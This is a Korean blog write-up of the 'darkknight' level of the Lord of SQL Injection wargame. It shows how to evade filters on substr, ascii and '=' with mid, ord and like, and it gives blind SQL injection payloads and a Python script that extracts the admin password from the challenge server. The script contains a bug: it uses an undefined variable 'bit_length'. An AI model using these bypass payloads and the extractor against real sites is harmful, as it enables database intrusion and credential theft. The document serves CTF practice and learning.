본문 바로가기
write-ups/Lord of SQL Injection

LORD OF SQLINJECTION - darkknight

by 끊임없는정진 2023. 1. 1.

▶ 코드 확인

Lv. darkknight

 

또 보는 Blind SQL Injection 문제이다. 마찬가지로 어떻게 풀지는 필터링한 문자를 보면 알 수 있다. blind SQL Injection의 핵심이라고 할 수 있는 substr와 ascii, =를 필터링하고 있다. Injector에 관한 글을 쓰면서 blind SQL Injector 보수공사(?)를 조금 해서 코드 구성이 조금 더 간결하게 바뀌으니 참고하길 바란다. 이진탐색 알고리즘은 귀찮아서 구현 못했지만, lpad를 사용하는 더 나은(개인적인 생각임) 방법을 터득했으니, 추후 해당 방식으로 고칠 예정이다.

어쨋든, 우회할 수 있는 쿼리문을 생각해보자. substr을 필터링하니 대신 쓸 함수가 필요하다. 여기서 등장하는 것이 mid인데, left, mid, right 이렇게 세개는 mysql에서 부분 문자열을 가지고 올 때, 활용하는 명령어다. 이 중 mid는 substring 명령어와 동의어라고 하니, 사실상 mid를 쓰면 substring은 쉽게 우회할 수 있다는 것을 알 수 있다.

또한, ascii 필터링은 ord로 우회할 수 있다. 사실, 둘의 차이는 단순히 ascii 문자 숫자를 변환하는 것에 그치지 않는다. 자세한 둘의 차이는 추후에 xavis문제를 풀 때 서술하는게 나을 것 같아서 여기서는 자세히 서술하지는 않겠다. 다만, 간단히 설명하자면 ord명령어는 ascii는 8비트 숫자밖에 출력못하기 때문에, ascii보다 더 큰 수를 가지는 unicode숫자를 변환할 때도 쓸 수 있는 유용한 명령어다. 

=을 필터링하는 것은 like로 대체할 수 있다. like를 사용하면 다양한 문자와 함께 사용해 와일드카드 등의 기능을 구현할 수 있지만, 단순히 like만 사용할 경우 =를 필터링할 경우 =대용으로 쓸 수 있음을 배웠다.

이러한 사실들을 종합해서 구성한 payload는 다음과 같다.

# Finding password length
select 
id from prob_darkknight where id='guest' and pw='2' and no=1
 or id like 'admin' and ord(mid(pw,{password_length},1))>0

# Finding each character
select id from prob_darkknight where id='guest' and pw='2' and no=1 or id like 'admin' and ord(mid(pw,{password_length},1))like%20{each_character's_ascii_num}

 

Python으로 구성한 Injector의 코드 구성은 다음과 같다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from requests import get
 
host = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {'PHPSESSID''eo0jgu96b2rckpgjvaaaeb0qau'}
 
# Find admin password length
password_length = 0
while True:
    password_length += 1
    query = f'2&no=1%20or%20id%20like%20"admin"%20and%20ord(mid(pw,{password_length},1))>0'
    r = get(f"{host}/?pw={query}", cookies=cookies)
    if not "Hello admin" in r.text:
        break
print(f"password length: {password_length - 1}")
 
password = ""
 
# Find each character's ascii num
for i in range(1, password_length):
    ascii_num = 0
    while True:
        ascii_num += 1
        query = f'2&no=1%20or%20id%20like%20"admin"%20and%20(ord(mid(pw,{i},1))%20like%20{ascii_num})'
        r = get(f"{host}/?pw={query}", cookies=cookies)
        if "Hello admin" in r.text:
            break
    print(f"character {i}'s ascii code: {ascii_num}")
 
    password += chr(bit_length)
 
print(password)
cs

 

그러면 다음과 같이 답안을 출력하는 것을 확인할 수 있고 pw에 입력해주기만 하면 클리어된다.

Python Injector가 출력하는 값

 

Lv. Darkknight 클리어

'write-ups > Lord of SQL Injection' 카테고리의 다른 글

LORD OF SQLINJECTION - green_dragon  (0) 2023.01.22
LORD OF SQLINJECTION - bugbear  (0) 2023.01.18
LORD OF SQLINJECTION - golem  (0) 2022.12.05
LORD OF SQLINJECTION - Skeleton  (0) 2022.11.30
LORD OF SQLINJECTION - vampire  (0) 2022.11.29

댓글